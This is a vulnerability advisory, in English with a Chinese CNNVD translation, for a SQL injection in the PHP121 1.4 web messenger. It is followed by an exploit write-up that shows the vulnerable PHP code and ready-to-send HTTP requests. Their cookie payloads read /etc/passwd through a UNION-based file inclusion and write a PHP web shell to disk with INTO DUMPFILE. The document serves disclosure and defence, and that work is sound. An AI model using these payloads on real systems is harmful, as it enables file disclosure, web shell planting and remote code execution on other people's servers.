[原文]SQL injection vulnerability in php121language.php in PHP121 1.4 allows remote attackers to execute arbitrary SQL commands and execute arbitrary code via the sess_username variable, as set by the php121un HTTP COOKIE parameter, which is used in multiple files including php121login.php. NOTE: the code execution occurs because the SQL query results are used in an include statement.


[CNNVD]PHP121 php121language.php SQL注入漏洞(CNNVD-200604-292)

        PHP121 1.4 中的php121language.php存在SQL注入漏洞。这使得远程攻击者可以借助于sess_username变量执行任意SQL命令及任意代码,sess_username变量由php121un HTTP COOKIE 参数设置,并且php121un HTTP COOKIE 参数使用在包含php121login.php的多个文件中。注意:因为在包含语句中使用了SQL查询结果,因此执行了代码。

 description: "PHP121 is a free web based instant messenger - written entirely in
 PHP"

 i)  vulnerable code in php121login.php and in nearly all files:

  ...
  if (isset($_COOKIE['php121un']) && isset($_COOKIE['php121pw'])) {
        $logindataun = $_COOKIE['php121un'];
        $logindatapw = $_COOKIE['php121pw'];
        if (!empty($logindataun) && !empty($logindatapw)) {
                //we have a cookie - use it to login, overriding any sessions
                $_SESSION[sess_username]=$logindataun;
                $_SESSION[sess_password]=$logindatapw;
        }
}

$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
  ...

  in php121language.php we have:

...
$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
// are we logged in?

if ($sess_username!="") {

	// get our language preference
	$sql="select $dbf_language from $db_usertable where $dbf_uname='$sess_username'";
	echo "sql: ".$sql."\r\n";
	$row=mysql_fetch_row(mysql_query($sql));
	if ($row[0]!="") {
	require_once("language/lang-".strtolower($row[0]).".php");

	}

} else {

	// use the default language file
	require_once("language/lang-".strtolower($php121_config['default_language']).".php");

}
...

 "sess_username" value is not sanitized before to be used in our query
 so, if magic_quotes_gpc = Off, we can include arbitrary files from local
 resources, poc:

  GET /php121login.php HTTP/1.0
  Host: somehost
  Cookie: php121un=%27UNION+SELECT+%27..%2F..%2F..%2Fetc%2Fpasswd%00%27+FROM+php121_users%2F%2A; php121pw=suntzu;
  Connection: Close

 now session cookie is poisoned, and we can go to php121language.php
 with our new cookie to see/include local resources, query becomes:

 select php121_language from php121_users where uname=''UNION SELECT '../../../etc/passwd[null char]' FROM php121_users/*'

 php121_language field is varchar(30) so, before MySQL 4.1.1,
 your path is limited to 29 chars (so, it is nearly impossible
 submit a valid inclusion path), with Mysql >=4.1.1 it does not matter,
 path is not truncated anymore at the length of the first select field

 we can also try  blind injection, injecting a shell:

  GET /php121login.php HTTP/1.0
  Host: somehost
  Cookie: php121un=%27UNION+SELECT+%27%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%27+INTO+DUMPFILE+%27somefile%27+FROM+php121_users%2F%2A; php121pw=suntzu;
  Connection: Close

 and now go to php121language.php to write our file, if MySQL have certain rigths
 to do it

 you can do the work trough a browser like Opera that allows to edit cookies

 However, this exploit inject some code in log files and try to include them
